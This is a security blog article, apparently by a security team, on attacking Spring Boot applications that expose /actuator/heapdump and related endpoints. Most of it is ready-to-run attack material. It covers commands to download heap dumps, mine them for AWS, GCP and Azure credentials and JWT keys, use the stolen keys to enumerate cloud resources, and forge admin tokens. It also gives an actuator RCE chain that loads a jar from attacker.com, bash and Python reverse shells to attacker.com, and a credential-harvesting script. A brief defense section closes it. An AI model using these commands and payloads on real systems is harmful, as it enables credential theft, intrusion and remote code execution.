Heap dumps are snapshots of a Java application's memory at a specific point in time. When exposed through misconfigured endpoints like /actuator/heapdump, they become goldmines for attackers, containing everything from cloud credentials to session tokens.
Discovery & Download
Finding Heap Dump Endpoints
# Common paths
/actuator/heapdump
/heapdump
/dump
/management/heapdump
/api/actuator/heapdump
# Fuzzing with ffuf
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200 -fs 0
# Mass discovery with nuclei
nuclei -u https://target.com -t exposures/apis/spring-actuator.yaml
Downloading Heap Dumps
# Direct download
curl -o heapdump.hprof https://target.com/actuator/heapdump
# With authentication
curl -H "Authorization: Bearer TOKEN" -o heapdump.hprof https://target.com/actuator/heapdump
# Resume interrupted downloads
wget -c https://target.com/actuator/heapdump -O heapdump.hprof
Warning: Heap dumps can be several GB in size. Ensure you have sufficient disk space.
Analysis Tools
String Extraction with strings
# Extract all printable strings
strings heapdump.hprof > heap_strings.txt
# Extract only ASCII strings longer than 20 characters
strings -n 20 heapdump.hprof > heap_strings_long.txt
# Search for specific patterns directly
strings heapdump.hprof | grep -i "password"
Using VisualVM
# Open with VisualVM (GUI)
visualvm --openfile heapdump.hprof
# Analyze from command line
jhat -J-Xmx4G heapdump.hprof
# Then browse to http://localhost:7000
Eclipse Memory Analyzer (MAT)
- Download from eclipse.org/mat
- Open heap dump: File → Open Heap Dump
- Run OQL queries for targeted searches
AWS Credential Extraction
%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart TB
A[Heap Dump] --> B[Extract Strings]
B --> C{Search Patterns}
C --> D[AWS Access Keys]
C --> E[AWS Secret Keys]
C --> F[Session Tokens]
D --> G[Validate Credentials]
E --> G
F --> G
G --> H[Enumerate Permissions]
H --> I[Lateral Movement]
Figure: AWS credential extraction workflow from heap dumps
AWS Access Key Patterns
# Search for AWS access keys (AKIA*, ASIA*, AIDA*)
grep -aoE 'AKIA[0-9A-Z]{16}' heap_strings.txt
grep -aoE 'ASIA[0-9A-Z]{16}' heap_strings.txt
# Search for AWS secret access keys (40 alphanumeric chars)
grep -aoE '[A-Za-z0-9/+=]{40}' heap_strings.txt
# Combined search with context
grep -B 5 -A 5 'AKIA[0-9A-Z]{16}' heap_strings.txt
AWS-Specific Environment Variables
# Search for common AWS env vars
grep -i 'AWS_ACCESS_KEY_ID' heap_strings.txt
grep -i 'AWS_SECRET_ACCESS_KEY' heap_strings.txt
grep -i 'AWS_SESSION_TOKEN' heap_strings.txt
grep -i 'AWS_SECURITY_TOKEN' heap_strings.txt
grep -i 'AWS_DEFAULT_REGION' heap_strings.txt
# S3 bucket names
grep -aoE '[a-z0-9.-]{3,63}\.s3\.amazonaws\.com' heap_strings.txt
grep -aoE 's3://[a-z0-9.-]{3,63}' heap_strings.txt
# EC2 metadata service calls
grep -i '169.254.169.254' heap_strings.txt
Validation & Testing
# Configure AWS CLI with found credentials
aws configure set aws_access_key_id AKIA...
aws configure set aws_secret_access_key ...
# Test credentials
aws sts get-caller-identity
# Enumerate S3 buckets
aws s3 ls
# Check IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
GCP Credential Extraction
%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart LR
A[Heap Dump] --> B[Service Account Keys]
A --> C[OAuth Tokens]
A --> D[API Keys]
B --> E[JSON Key Files]
C --> F[Access Tokens]
D --> G[API Validation]
E --> H[gcloud Auth]
F --> H
G --> H
H --> I[Resource Enumeration]
Figure: GCP credential discovery and validation process
GCP Service Account Keys
# Search for GCP service account JSON structure
grep -B 20 -A 20 '"type": "service_account"' heap_strings.txt
grep -B 20 -A 20 '"project_id"' heap_strings.txt
grep -B 20 -A 20 '"private_key"' heap_strings.txt
# Extract complete JSON service account keys
strings heapdump.hprof | grep -Pzo '(?s)\{[^{}]*"type":\s*"service_account"[^{}]*\}' > gcp_keys.json
# Search for GCP project IDs
grep -aoE '[a-z][a-z0-9-]{4,28}[a-z0-9]' heap_strings.txt | grep -i 'project'
GCP OAuth Tokens
# Search for OAuth 2.0 access tokens
grep -aoE 'ya29\.[0-9A-Za-z_-]+' heap_strings.txt
# Refresh tokens
grep -i 'refresh_token' heap_strings.txt
# Client IDs and secrets
grep -aoE '[0-9]+-[a-z0-9]{32}\.apps\.googleusercontent\.com' heap_strings.txt
grep -i 'client_secret' heap_strings.txt
GCP API Keys
# API key patterns (AIza...)
grep -aoE 'AIza[0-9A-Za-z_-]{35}' heap_strings.txt
# Validate API keys
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29..."
curl "https://maps.googleapis.com/maps/api/staticmap?center=0,0&zoom=1&size=1x1&key=AIza..."
GCP Enumeration Commands
# Authenticate with service account
gcloud auth activate-service-account --key-file=service-account-key.json
# List projects
gcloud projects list
# List compute instances
gcloud compute instances list --project PROJECT_ID
# List storage buckets
gsutil ls
# List IAM policies
gcloud projects get-iam-policy PROJECT_ID
Azure Credential Extraction
%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart LR
A[Heap Dump] --> B[Service Principals]
A --> C[Managed Identity Tokens]
A --> D[Storage Keys]
B --> E[Client Secrets]
C --> F[Access Tokens]
D --> G[Connection Strings]
E --> H[az login]
F --> H
G --> I[Resource Pivot]
H --> I
Figure: Azure secret discovery leading to authenticated enumeration
Azure Credential Patterns
# Service principal env vars
grep -i 'AZURE_CLIENT_ID' heap_strings.txt
grep -i 'AZURE_TENANT_ID' heap_strings.txt
grep -i 'AZURE_CLIENT_SECRET' heap_strings.txt
grep -i 'AZURE_SUBSCRIPTION_ID' heap_strings.txt
# Connection strings & storage keys
grep -aoE 'DefaultEndpointsProtocol=[^ ]+;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]+' heap_strings.txt
grep -aoE 'SharedAccessSignature=se=[^;]+' heap_strings.txt
# Key Vault references
grep -i 'vault.azure.net' heap_strings.txt
# Azure DevOps PATs
grep -aoE 'azd[A-Za-z0-9]{52}' heap_strings.txt
Managed Identity & OAuth Tokens
# Managed identity metadata hints
grep -i 'MSI_ENDPOINT' heap_strings.txt
grep -i 'msiSecret' heap_strings.txt
grep -i 'Metadata"\s*:\s*"true"' heap_strings.txt
# Azure AD access tokens (JWT)
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' heap_strings.txt | grep -i 'login.microsoftonline.com'
# Refresh tokens
grep -i 'refresh_token' heap_strings.txt | grep -i 'login'
Azure CLI Validation & Enumeration
# Authenticate with recovered service principal
az login --service-principal -u CLIENT_ID -p CLIENT_SECRET --tenant TENANT_ID
# Show current subscription
az account show -o table
# List subscriptions & set target
az account list -o table
az account set --subscription SUBSCRIPTION_ID
# Enumerate resource groups & compute
az group list -o table
az vm list -d -o table
# Dump storage account keys (requires access)
az storage account keys list --account-name ACCOUNT --resource-group RG
# Enumerate Key Vault secrets
az keyvault secret list --vault-name VAULT -o table
az keyvault secret show --vault-name VAULT --name SECRET_NAME
Azure Defender Notes
# Alert on suspicious logins
az monitor metrics list --resource /subscriptions/SUB/resourceGroups/RG/providers/Microsoft.Insights/components/APP --metric requests/count
# Force token revocation (requires access)
az ad app credential reset --id CLIENT_ID
JWT Secret Extraction
%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart TD
A[Heap Dump] --> B[Search JWT Patterns]
B --> C[Extract Signing Keys]
C --> D{Key Type}
D --> E[HMAC Secret]
D --> F[RSA Private Key]
E --> G[Forge JWT Tokens]
F --> G
G --> H[Admin Access]
H --> I[Privilege Escalation]
Figure: JWT secret extraction and token forgery attack path
Finding JWT Secrets
# Search for JWT tokens (header.payload.signature)
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' heap_strings.txt > jwt_tokens.txt
# Search for common JWT secret variable names
grep -i 'jwt.secret' heap_strings.txt
grep -i 'jwt_secret' heap_strings.txt
grep -i 'jwtSecret' heap_strings.txt
grep -i 'token.secret' heap_strings.txt
grep -i 'signing.key' heap_strings.txt
grep -i 'secret.key' heap_strings.txt
# Search for Spring Security JWT config
grep -B 5 -A 5 'JwtBuilder' heap_strings.txt
grep -B 5 -A 5 'SignatureAlgorithm' heap_strings.txt
RSA Private Key Extraction
# Search for RSA private keys
grep -B 1 -A 20 'BEGIN RSA PRIVATE KEY' heap_strings.txt > rsa_keys.txt
grep -B 1 -A 20 'BEGIN PRIVATE KEY' heap_strings.txt >> rsa_keys.txt
# Extract PEM format keys
strings heapdump.hprof | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > private_keys.pem
Forging JWT Tokens
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Test with found secret
python3 jwt_tool.py TOKEN -S hs256 -p "FOUND_SECRET"
# Forge admin token
python3 jwt_tool.py TOKEN -T -S hs256 -p "FOUND_SECRET" -pc "role" -pv "admin"
# Using Node.js
npm install -g jsonwebtoken
node -e "const jwt = require('jsonwebtoken'); console.log(jwt.sign({sub: 'admin', role: 'admin'}, 'FOUND_SECRET'));"
Spring Boot Actuator RCE
Enumerating Actuator Endpoints
# List all actuator endpoints
curl https://target.com/actuator | jq .
# Common sensitive endpoints
/actuator/env # Environment variables
/actuator/configprops # Configuration properties
/actuator/beans # Application beans
/actuator/heapdump # Heap dump
/actuator/threaddump # Thread dump
/actuator/trace # HTTP traces
/actuator/logfile # Application logs
/actuator/refresh # Refresh configuration
Extracting Environment Variables
# Get all environment variables
curl https://target.com/actuator/env | jq . > env.json
# Search for sensitive data
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("password|secret|key|token"; "i"))'
# Extract database credentials
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("datasource"; "i"))'
# Extract cloud credentials
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("aws|gcp|azure"; "i"))'
RCE via /actuator/env + /actuator/refresh
Vulnerable Configuration: Application must have spring-cloud-starter dependency and /actuator/refresh enabled.
Detection
# Check if refresh endpoint exists
curl -X POST https://target.com/actuator/refresh
# Check for spring.cloud.bootstrap.location
curl https://target.com/actuator/env | grep -i "bootstrap.location"
Exploitation Steps
# Step 1: Create malicious configuration file
cat > malicious.yml << 'EOF'
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/evil.jar"]
]]
]
EOF
# Step 2: Host the malicious config
python3 -m http.server 8000
# Step 3: Set spring.cloud.bootstrap.location
curl -X POST https://target.com/actuator/env \
-H 'Content-Type: application/json' \
-d '{"name":"spring.cloud.bootstrap.location","value":"http://attacker.com/malicious.yml"}'
# Step 4: Trigger configuration reload
curl -X POST https://target.com/actuator/refresh
Alternative: SpEL Injection
# If spring.cloud.bootstrap.location is not available, try SpEL injection
curl -X POST https://target.com/actuator/env \
-H 'Content-Type: application/json' \
-d '{"name":"spring.datasource.hikari.connection-test-query","value":"#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/pwned\")}"}'
curl -X POST https://target.com/actuator/refresh
Reverse Shell Payloads
# Bash reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Java reverse shell (for Runtime.exec())
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}
Automated Enumeration Script
#!/bin/bash
# heapdump_enum.sh - Automated heap dump enumeration
HEAP_FILE=$1
OUTPUT_DIR="heapdump_analysis"
if [ -z "$HEAP_FILE" ]; then
echo "Usage: $0 <heapdump.hprof>"
exit 1
fi
mkdir -p "$OUTPUT_DIR"
echo "[*] Extracting strings..."
strings "$HEAP_FILE" > "$OUTPUT_DIR/all_strings.txt"
echo "[*] Searching for AWS credentials..."
grep -aoE 'AKIA[0-9A-Z]{16}' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/aws_access_keys.txt"
grep -aoE 'ASIA[0-9A-Z]{16}' "$OUTPUT_DIR/all_strings.txt" | sort -u >> "$OUTPUT_DIR/aws_access_keys.txt"
grep -i 'AWS_SECRET' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/aws_secrets.txt"
echo "[*] Searching for GCP credentials..."
grep -aoE 'ya29\.[0-9A-Za-z_-]+' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/gcp_tokens.txt"
grep -aoE 'AIza[0-9A-Za-z_-]{35}' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/gcp_api_keys.txt"
grep -B 10 -A 10 '"type": "service_account"' "$OUTPUT_DIR/all_strings.txt" > "$OUTPUT_DIR/gcp_service_accounts.txt"
echo "[*] Searching for Azure credentials..."
grep -i 'AZURE_' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/azure_env.txt"
grep -aoE 'DefaultEndpointsProtocol=[^ ]+;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]+' "$OUTPUT_DIR/all_strings.txt" > "$OUTPUT_DIR/azure_storage.txt"
echo "[*] Searching for JWT tokens..."
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/jwt_tokens.txt"
echo "[*] Searching for JWT secrets..."
grep -iE 'jwt.?secret|token.?secret|signing.?key' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/jwt_secrets.txt"
echo "[*] Searching for private keys..."
strings "$HEAP_FILE" | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > "$OUTPUT_DIR/private_keys.pem"
echo "[*] Searching for passwords..."
grep -iE 'password|passwd|pwd' "$OUTPUT_DIR/all_strings.txt" | grep -v '^#' | sort -u > "$OUTPUT_DIR/passwords.txt"
echo "[*] Searching for database URLs..."
grep -iE 'jdbc:|mongodb:|postgres:|mysql:|redis:' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/database_urls.txt"
echo "[*] Searching for API endpoints..."
grep -aoE 'https?://[a-zA-Z0-9./?=_%:-]*' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/api_endpoints.txt"
echo "[*] Analysis complete. Results in $OUTPUT_DIR/"
echo ""
echo "Summary:"
echo "AWS Access Keys: $(wc -l < "$OUTPUT_DIR/aws_access_keys.txt")"
echo "GCP Tokens: $(wc -l < "$OUTPUT_DIR/gcp_tokens.txt")"
echo "Azure Keys: $(wc -l < "$OUTPUT_DIR/azure_env.txt")"
echo "JWT Tokens: $(wc -l < "$OUTPUT_DIR/jwt_tokens.txt")"
echo "Private Keys: $(grep -c 'BEGIN' "$OUTPUT_DIR/private_keys.pem")"
echo "Database URLs: $(wc -l < "$OUTPUT_DIR/database_urls.txt")"
Usage:
chmod +x heapdump_enum.sh
./heapdump_enum.sh heapdump.hprof
Advanced grep Patterns
# Email addresses
grep -aoE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' heap_strings.txt
# IP addresses (IPv4)
grep -aoE '([0-9]{1,3}\.){3}[0-9]{1,3}' heap_strings.txt
# URLs
grep -aoE '(http|https)://[a-zA-Z0-9./?=_%:-]*' heap_strings.txt
# Credit card numbers (basic pattern)
grep -aoE '[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}' heap_strings.txt
# SSH private keys
grep -B 1 -A 30 'BEGIN OPENSSH PRIVATE KEY' heap_strings.txt
# Base64 encoded data (potential credentials)
grep -aoE '[A-Za-z0-9+/]{40,}={0,2}' heap_strings.txt
# Connection strings
grep -iE 'Server=|Data Source=|Initial Catalog=|User ID=|Password=' heap_strings.txt
# API keys (generic pattern)
grep -aoE '[a-zA-Z0-9_-]{32,}' heap_strings.txt | awk 'length($0)==32 || length($0)==40 || length($0)==64'
# Secrets in Java property format
grep -E '^[a-zA-Z0-9._-]+=.*(secret|password|key|token)' heap_strings.txt -i
Defense & Mitigation
Securing Actuator Endpoints
# application.yml
management:
endpoints:
web:
exposure:
include: health,info
exclude: heapdump,threaddump,env,configprops
endpoint:
health:
show-details: when-authorized
# Or disable entirely
management:
endpoints:
enabled-by-default: false
Authentication Requirements
# Spring Security configuration
management:
endpoints:
web:
base-path: /management
security:
user:
name: admin
password: ${ADMIN_PASSWORD}
Network Restrictions
# Nginx config - restrict to internal network
location /actuator/ {
allow 10.0.0.0/8;
deny all;
proxy_pass http://backend;
}
Best Practices
| Practice | Description |
|---|---|
| Disable sensitive endpoints | Never expose heapdump, threaddump, env in production |
| Require authentication | Use Spring Security or external auth for actuator endpoints |
| Network segmentation | Restrict access to management endpoints via firewall |
| Encrypt sensitive data | Use encrypted properties for secrets in configuration |
| Use secrets managers | Store credentials in AWS Secrets Manager, GCP Secret Manager |
| Regular audits | Monitor access logs for unauthorized actuator requests |
| Update dependencies | Keep Spring Boot and dependencies patched |
Detection & Monitoring
# Monitor access logs for heap dump downloads
grep "GET /actuator/heapdump" access.log | awk '{print $1}' | sort | uniq -c
# Alert on large file downloads
awk '$10 > 100000000 {print $0}' access.log
# Detect actuator enumeration
grep -E "/actuator/(env|heapdump|threaddump|beans)" access.log
References
- Spring Boot Actuator Security
- AWS IAM Best Practices
- GCP Service Account Security
- Azure Security Documentation
- OWASP API Security Top 10
By PlaidNox Security Team
Originally published Nov 2025